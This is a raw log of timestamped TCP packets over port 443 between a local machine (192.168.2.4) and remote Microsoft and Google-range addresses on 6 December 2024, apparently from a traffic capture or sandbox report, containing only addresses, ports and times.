Dec 6, 2024 00:16:04.303132057 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.303253889 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.303267956 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.449342966 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.449383974 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.449403048 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.449424028 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.449433088 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.449476004 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.449477911 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.449521065 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.450129986 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.450139046 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.450531006 CET	49929	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.450545073 CET	443	49929	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.450611115 CET	49929	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.450783014 CET	49929	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.450793982 CET	443	49929	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.516792059 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.516849995 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.516973972 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.517234087 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.517246008 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.517255068 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.517258883 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.520003080 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.520055056 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.520109892 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.520241022 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.520257950 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.520268917 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.520273924 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.520406961 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.520433903 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.520497084 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.520620108 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.520631075 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.522309065 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.522324085 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.522418022 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.522547007 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.522552967 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.530694008 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.530744076 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.530791998 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.530886889 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.530903101 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.530911922 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.530916929 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.531444073 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.531487942 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.531534910 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.531644106 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.531649113 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.531671047 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.531675100 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.532882929 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.532903910 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.532979012 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.533076048 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.533087969 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.533588886 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.533601999 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.533668041 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.533795118 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.533803940 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.658560038 CET	49923	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.658590078 CET	49926	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.658654928 CET	49927	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.658684969 CET	49929	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.659040928 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.659058094 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.659116983 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.659739971 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.659750938 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.660495996 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.660511017 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.660564899 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.661220074 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.661227942 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:05.480317116 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.480384111 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:05.481600046 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:05.481606960 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.481818914 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.494729042 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:05.539345980 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.970618010 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.970638990 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.970653057 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.970751047 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:05.970772982 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:05.970835924 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.027031898 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.027512074 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.027529955 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.027978897 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.027986050 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.142105103 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.142128944 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.142191887 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.142208099 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.142245054 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.185354948 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.185369015 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.185430050 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.185441017 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.185483932 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.247061014 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.247518063 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.247661114 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.247669935 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.247692108 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.247776031 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.247855902 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.247876883 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.248171091 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.248174906 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.248298883 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.248303890 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.248457909 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.248471975 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.248589039 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.248600960 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.248811960 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.248819113 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.248980999 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.248985052 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.315186024 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.315202951 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.315287113 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.315300941 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.315335989 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.350615025 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.350702047 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.350876093 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.350950003 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.351253986 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.351324081 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.351522923 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.351577044 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.352299929 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.352314949 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.352381945 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.352392912 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.352432966 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.354558945 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.354568958 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.354774952 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.354839087 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.354855061 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.354861021 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.355062008 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.355110884 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.355190039 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.355391979 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:06.372874975 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.372889996 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.373061895 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.373070002 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.373114109 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.393812895 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.393829107 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.393944025 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.393951893 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.393994093 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.395330906 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.399338007 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:06.467911005 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.467957020 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.468010902 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.468255997 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.468277931 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.468287945 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.468293905 CET	443	49928	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.471236944 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.471261978 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.471344948 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.471484900 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.471499920 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.501607895 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.501624107 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.501907110 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.501915932 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.501962900 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.518856049 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.518871069 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.518949032 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.518958092 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.519000053 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.534087896 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.534102917 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.534168005 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.534177065 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.534210920 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.547072887 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.547087908 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.547180891 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.547190905 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.547228098 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.562289000 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.562304020 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.562369108 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.562376976 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.562416077 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.576278925 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.576292992 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.576369047 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.576378107 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.576417923 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.683171034 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683223009 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683278084 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.683506966 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.683517933 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683526993 CET	49933	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.683531046 CET	443	49933	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683867931 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683902025 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683907986 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683917999 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683948040 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683967113 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.683974981 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.683990955 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684006929 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684082985 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684098005 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.684108019 CET	49932	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684113026 CET	443	49932	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.684128046 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684137106 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.684158087 CET	49931	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684163094 CET	443	49931	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.684710026 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684710026 CET	49930	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.684724092 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.684732914 CET	443	49930	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.685683012 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.685698032 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.685754061 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.685762882 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.685802937 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.687550068 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.687566042 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.687587976 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.687607050 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.687622070 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.687650919 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688194036 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688209057 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.688270092 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688342094 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688352108 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.688410044 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688424110 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.688457012 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688474894 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.688474894 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688484907 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.688529968 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688678980 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.688689947 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.696949959 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.696965933 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.697025061 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.697032928 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.697066069 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.706809044 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.706823111 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.706871033 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.706877947 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.706912994 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.717484951 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.717504978 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.717540026 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.717547894 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.717561960 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.717582941 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.727788925 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.727803946 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.727863073 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.727871895 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.727907896 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.737529993 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.737545013 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.737591028 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.737600088 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.737648964 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.747859001 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.747873068 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.747924089 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.747931004 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.747957945 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.747977972 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.756866932 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.756880999 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.756933928 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.756941080 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.756989002 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.876564980 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.876581907 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.876673937 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.876692057 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.876735926 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.885860920 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.885874987 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.885961056 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.885970116 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.886009932 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.894879103 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.894895077 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.894963980 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.894973040 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.895011902 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.902874947 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.902889967 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.902968884 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.902978897 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.903018951 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.912050962 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.912066936 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.912128925 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.912139893 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.912178993 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.920629025 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.920644999 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.920702934 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.920711994 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.920744896 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.929816008 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.929831982 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.929888010 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.929896116 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.929935932 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.938879013 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.938894033 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.938951969 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:06.938960075 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:06.939006090 CET	49922	443	192.168.2.4	13.107.246.63
